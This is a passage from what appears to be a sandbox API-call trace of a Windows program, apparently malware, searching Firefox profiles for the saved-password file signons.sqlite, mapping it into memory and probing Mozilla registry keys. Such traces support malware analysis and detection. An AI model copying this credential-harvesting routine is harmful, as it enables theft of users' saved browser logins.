uBytes=0xd9) returned 0x641518 [0071.077] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0071.077] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*" [0071.077] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0071.078] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.078] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0071.078] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.078] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.078] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0071.078] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.078] LocalFree (hMem=0x641518) returned 0x0 [0071.078] LocalFree (hMem=0x65b348) returned 0x0 [0071.078] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.078] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0071.078] lstrlenA (lpString="parent.lock") returned 11 [0071.078] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0071.078] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.078] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.078] lstrlenA (lpString="permissions.sqlite") returned 18 [0071.078] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.078] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.078] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.078] lstrlenA (lpString="places.sqlite") returned 13 [0071.078] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.078] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.078] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0071.078] lstrlenA (lpString="pluginreg.dat") returned 13 [0071.078] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0071.078] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.078] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0071.078] lstrlenA (lpString="prefs.js") returned 8 [0071.078] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0071.078] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.078] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0071.078] lstrlenA (lpString="search.json") returned 11 [0071.078] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0071.078] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0071.079] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0071.079] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.079] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0071.079] lstrlenA (lpString="secmod.db") returned 9 [0071.079] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0071.079] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0071.079] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0071.079] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.079] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0071.079] lstrlenA (lpString="sessionstore.bak") returned 16 [0071.079] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0071.079] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0071.079] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0071.079] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.079] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0071.079] lstrlenA (lpString="sessionstore.js") returned 15 [0071.079] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0071.079] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0071.079] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0071.079] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.079] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0071.079] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.079] lstrlenA (lpString="\\") returned 1 [0071.079] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.079] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.079] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.079] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.079] lstrlenA (lpString="signons.sqlite") returned 14 [0071.079] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x641518 [0071.079] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.079] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" [0071.079] LocalFree (hMem=0x6275a8) returned 0x0 [0071.079] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12c [0071.079] CloseHandle (hObject=0x12d) returned 1 [0071.079] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5b [0071.079] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0071.079] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x626a88, nSize=0x5b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned 0x5a [0071.079] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12c [0071.079] CloseHandle (hObject=0x12d) returned 1 [0071.080] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x12c [0071.080] GetFileSize (in: hFile=0x12d, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0071.080] CreateFileMappingA (hFile=0x12c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x154 [0071.080] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x16d0000 [0071.082] UnmapViewOfFile (lpBaseAddress=0x16d0000) returned 1 [0071.085] CloseHandle (hObject=0x154) returned 1 [0071.085] CloseHandle (hObject=0x12c) returned 1 [0071.085] LocalFree (hMem=0x626a88) returned 0x0 [0071.085] LocalFree (hMem=0x641518) returned 0x0 [0071.085] lstrlenA (lpString="signons.sqlite") returned 14 [0071.085] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0071.085] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.085] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.085] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.085] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0071.085] lstrlenA (lpString="times.json") returned 10 [0071.085] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0071.085] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0071.085] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0071.085] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.085] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0071.085] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0071.085] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0071.085] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0071.085] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0071.085] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.085] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0071.085] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0071.085] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0071.086] lstrlenA (lpString="\\") returned 1 [0071.086] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0071.086] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0071.086] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.086] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0071.086] lstrlenA (lpString="webapps") returned 7 [0071.086] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x65b348 [0071.086] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0071.086] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0071.086] LocalFree (hMem=0x6275a8) returned 0x0 [0071.086] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned 82 [0071.086] lstrlenA (lpString="\\*.*") returned 4 [0071.086] LocalAlloc (uFlags=0x40, uBytes=0xd7) returned 0x65b428 [0071.086] lstrcpyA (in: lpString1=0x65b428, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps" [0071.086] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*" [0071.086] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\webapps\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0071.086] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0071.086] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0071.086] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0071.086] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0071.086] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0071.086] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0071.086] lstrlenA (lpString="webapps.json") returned 12 [0071.086] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0071.086] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0071.086] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0071.086] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0071.086] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0071.086] LocalFree (hMem=0x65b428) returned 0x0 [0071.086] LocalFree (hMem=0x65b348) returned 0x0 [0071.086] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0071.086] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0071.086] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0071.086] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0071.086] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0071.086] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0071.086] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 0 [0071.087] FindClose (in: hFindFile=0x642728 | out: hFindFile=0x642728) returned 1 [0071.087] LocalFree (hMem=0x627320) returned 0x0 [0071.087] LocalFree (hMem=0x627248) returned 0x0 [0071.087] FindNextFileA (in: hFindFile=0x6426e8, lpFindFileData=0x12fa46 | out: lpFindFileData=0x12fa46) returned 0 [0071.087] FindClose (in: hFindFile=0x6426e8 | out: hFindFile=0x6426e8) returned 1 [0071.087] LocalFree (hMem=0x65d330) returned 0x0 [0071.087] LocalFree (hMem=0x65e350) returned 0x0 [0071.087] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 1 [0071.087] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.sqlite") returned 0x0 [0071.087] lstrlenA (lpString="profiles.ini") returned 12 [0071.087] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.txt") returned 0x0 [0071.087] StrStrIA (lpFirst="profiles.ini", lpSrch="signons2.txt") returned 0x0 [0071.087] StrStrIA (lpFirst="profiles.ini", lpSrch="signons3.txt") returned 0x0 [0071.087] FindNextFileA (in: hFindFile=0x6426a8, lpFindFileData=0x12fbae | out: lpFindFileData=0x12fbae) returned 0 [0071.087] FindClose (in: hFindFile=0x6426a8 | out: hFindFile=0x6426a8) returned 1 [0071.087] LocalFree (hMem=0x643b68) returned 0x0 [0071.087] LocalFree (hMem=0x643aa8) returned 0x0 [0071.087] LocalFree (hMem=0x6475b0) returned 0x0 [0071.087] LocalFree (hMem=0x6474f8) returned 0x0 [0071.087] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.087] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.087] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.088] RegCloseKey (hKey=0x134) returned 0x0 [0071.088] LocalFree (hMem=0x646ba0) returned 0x0 [0071.088] LocalFree (hMem=0x647440) returned 0x0 [0071.088] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x1, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0071.088] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0071.088] lstrlenA (lpString="\\") returned 1 [0071.088] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0071.088] lstrcpyA (in: lpString1=0x6293a8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0071.088] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.088] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0071.088] lstrlenA (lpString="extensions") returned 10 [0071.088] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x643aa8 [0071.088] lstrcpyA (in: lpString1=0x643aa8, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0071.088] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0071.088] LocalFree (hMem=0x6293a8) returned 0x0 [0071.088] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Firefox") returned="Firefox 25.0\\extensions" [0071.088] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fd10 | out: phkResult=0x12fd10*=0x134) returned 0x0 [0071.088] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fd08, lpData=0x0, lpcbData=0x12fd0c*=0x7 | out: lpType=0x12fd08*=0x0, lpData=0x0, lpcbData=0x12fd0c*=0x0) returned 0x2 [0071.088] RegCloseKey (hKey=0x134) returned 0x0 [0071.088] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fce4 | out: phkResult=0x12fce4*=0x134) returned 0x0 [0071.088] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcdc, lpData=0x0, lpcbData=0x12fce0*=0x12fcc8 | out: lpType=0x12fcdc*=0x0, lpData=0x0, lpcbData=0x12fce0*=0x0) returned 0x2 [0071.088] RegCloseKey (hKey=0x134) returned 0x0 [0071.088] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fcb8 | out: phkResult=0x12fcb8*=0x134) returned 0x0 [0071.088] RegQueryValueExA (in: hKey=0x134, lpValueName="PathToExe", lpReserved=0x0, lpType=0x12fcb0, lpData=0x0, lpcbData=0x12fcb4*=0x12fc9c | out: lpType=0x12fcb0*=0x0, lpData=0x0, lpcbData=0x12fcb4*=0x0) returned 0x2 [0071.088] RegCloseKey (hKey=0x134) returned 0x0 [0071.088] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x646ba0 [0071.088] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", phkResult=0x12fd5c | out: phkResult=0x12fd5c*=0x134) returned 0x0 [0071.088] RegEnumKeyExA (in: hKey=0x134, dwIndex=0x0, lpName=0x646ba0, lpcchName=0x12fd54, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x12fd54, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.088] RegCloseKey (hKey=0x134) returned 0x0 [0071.088] LocalFree (hMem=0x646ba0) returned 0x0 [0071.088] LocalFree (hMem=0x643aa8) returned 0x0 [0071.088] RegEnumKeyExA (in: hKey=0x130, dwIndex=0x2, lpName=0x646318, lpcchName=0x12fd88, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0x12fd88, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.089] RegCloseKey (hKey=0x130) returned 0x0 [0071.089] LocalFree (hMem=0x646318) returned 0x0 [0071.089] LocalFree (hMem=0x6292f8) returned 0x0 [0071.089] RegEnumKeyExA (in: hKey=0x13c, dwIndex=0x4, lpName=0x645a90, lpcchName=0x12fdbc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Mozilla Firefox 25.0", lpcchName=0x12fdbc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0071.089] RegCloseKey (hKey=0x13c) returned 0x0 [0071.089] LocalFree (hMem=0x645a90) returned 0x0 [0071.089] SetCurrentDirectoryA (lpPathName="C:\\Users\\EEBsYm5\\Desktop" (normalized: "c:\\users\\eebsym5\\desktop")) returned 1 [0071.089] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.099] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x148, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.102] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdcc*=0x10, cb=0x4, pcbWritten=0x12fda8 | out: pcbWritten=0x12fda8*=0x4) returned 0x0 [0071.102] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x2 | out: plibNewPosition=0x2) returned 0x0 [0071.103] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x140, dwOrigin=0x0, plibNewPosition=0x0 | out: plibNewPosition=0x0) returned 0x0 [0071.103] IStream:SetSize (This=0x6405d0, libNewSize=0x140) returned 0x0 [0071.103] LocalFree (hMem=0x65d418) returned 0x0 [0071.103] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.103] IStream:RemoteSeek (in: This=0x6405d0, dlibMove=0x0, dwOrigin=0x0, plibNewPosition=0x1 | out: plibNewPosition=0x1) returned 0x0 [0071.103] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x4147e5*=0x2, cb=0x8, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x8) returned 0x0 [0071.103] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fdc8*=0x0, cb=0x4, pcbWritten=0x12fda4 | out: pcbWritten=0x12fda4*=0x4) returned 0x0 [0071.103] ISequentialStream:RemoteWrite (in: This=0x6405d0, pv=0x12fddc*=0x26, cb=0x2, pcbWritten=0x12fda0 | out: pcbWritten=0x12fda0*=0x2) returned 0x0 [0071.103] 